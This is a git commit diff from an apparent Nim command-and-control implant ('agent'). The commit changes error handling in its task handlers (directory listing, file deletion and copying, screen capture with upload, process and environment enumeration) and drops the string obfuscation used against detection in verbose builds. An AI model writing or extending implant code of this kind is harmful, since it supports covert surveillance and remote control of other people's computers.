Implemented human-readable error messages for Windows API and Native API errors using FormatMessageW. Removed string obfuscation/protection when agent is built with verbose flag.
This commit is contained in:
@@ -108,7 +108,7 @@ when defined(agent):
|
||||
# Retrieve current working directory
|
||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
print protect(" [>] Retrieving current working directory.")
|
||||
print " [>] Retrieving current working directory."
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
@@ -117,7 +117,7 @@ when defined(agent):
|
||||
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
||||
|
||||
if length == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
let output = $buffer[0 ..< (int)length]
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
@@ -132,12 +132,12 @@ when defined(agent):
|
||||
# Parse arguments
|
||||
let targetDirectory = Bytes.toString(task.args[0].data)
|
||||
|
||||
print protect(" [>] Changing current working directory to {targetDirectory}.")
|
||||
print " [>] Changing current working directory to {targetDirectory}."
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -160,7 +160,7 @@ when defined(agent):
|
||||
cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
|
||||
|
||||
if cwdLength == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||
|
||||
@@ -187,7 +187,7 @@ when defined(agent):
|
||||
hFind = FindFirstFileW(searchPatternW, &findData)
|
||||
|
||||
if hFind == INVALID_HANDLE_VALUE:
|
||||
raise newException(OSError, fmt"Failed to list files ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Directory was found and can be listed
|
||||
else:
|
||||
@@ -305,7 +305,7 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
if DeleteFile(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -323,7 +323,7 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
if RemoveDirectoryA(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -342,7 +342,7 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -363,7 +363,7 @@ when defined(agent):
|
||||
try:
|
||||
# Copy file to new location, overwrite if a file with the same name already exists
|
||||
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
|
||||
@@ -83,17 +83,17 @@ when defined(agent):
|
||||
# Obtain handle to the device context for the entire screen
|
||||
deviceCtx = GetDC(0)
|
||||
if deviceCtx == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: ReleaseDC(0, deviceCtx)
|
||||
|
||||
# Fetch BITMAP structure using GetCurrentObject and GetObjectW
|
||||
gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP)
|
||||
if gdiCurrent == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: DeleteObject(gdiCurrent)
|
||||
|
||||
if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Construct BMP headers
|
||||
# Calculate amount of bits required to represent screenshot
|
||||
@@ -114,13 +114,13 @@ when defined(agent):
|
||||
screenshotLength = bmpFileHeader.bfSize
|
||||
screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength)
|
||||
if screenshotBytes == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes)
|
||||
|
||||
# Assembly the bitmap image
|
||||
memDeviceCtx = CreateCompatibleDC(deviceCtx)
|
||||
if memDeviceCtx == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: ReleaseDC(0, memDeviceCtx)
|
||||
|
||||
# Initialize BITMAPINFO with prepared info header
|
||||
@@ -128,12 +128,12 @@ when defined(agent):
|
||||
|
||||
bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0)
|
||||
if bmpSection == 0 or bitsBuffer == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Select the newly created bitmap into the memory device context
|
||||
gdiObject = SelectObject(memDeviceCtx, bmpSection)
|
||||
if gdiObject == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: DeleteObject(gdiObject)
|
||||
|
||||
# Copy the screen content from the source device context to the memory device context
|
||||
@@ -145,7 +145,7 @@ when defined(agent):
|
||||
resX, resY, # Source coordinates
|
||||
SRCCOPY # Copy source directly to destination
|
||||
) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Return the screenshot as a seq[byte]
|
||||
result = newSeq[byte](screenshotLength)
|
||||
@@ -156,7 +156,7 @@ when defined(agent):
|
||||
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
|
||||
print protect(" [>] Taking and uploading screenshot.")
|
||||
print " [>] Taking and uploading screenshot."
|
||||
|
||||
let
|
||||
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"
|
||||
|
||||
@@ -52,7 +52,7 @@ when defined(agent):
|
||||
|
||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
print protect(" [>] Listing running processes.")
|
||||
print " [>] Listing running processes."
|
||||
|
||||
try:
|
||||
var processes: seq[DWORD] = @[]
|
||||
@@ -62,7 +62,7 @@ when defined(agent):
|
||||
# Take a snapshot of running processes
|
||||
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||
raise newException(CatchableError, protect("Invalid permissions."))
|
||||
raise newException(CatchableError, GetLastError().getError)
|
||||
|
||||
# Close handle after object is no longer used
|
||||
defer: CloseHandle(hSnapshot)
|
||||
@@ -72,7 +72,7 @@ when defined(agent):
|
||||
|
||||
# Loop over processes to fill the map
|
||||
if Process32First(hSnapshot, addr pe32) == FALSE:
|
||||
raise newException(CatchableError, protect("Failed to get processes."))
|
||||
raise newException(CatchableError, GetLastError().getError)
|
||||
|
||||
while true:
|
||||
var procInfo = ProcessInfo(
|
||||
@@ -126,7 +126,7 @@ when defined(agent):
|
||||
|
||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
print protect(" [>] Displaying environment variables.")
|
||||
print " [>] Displaying environment variables."
|
||||
|
||||
try:
|
||||
var output: string = ""
|
||||
|
||||
Reference in New Issue
Block a user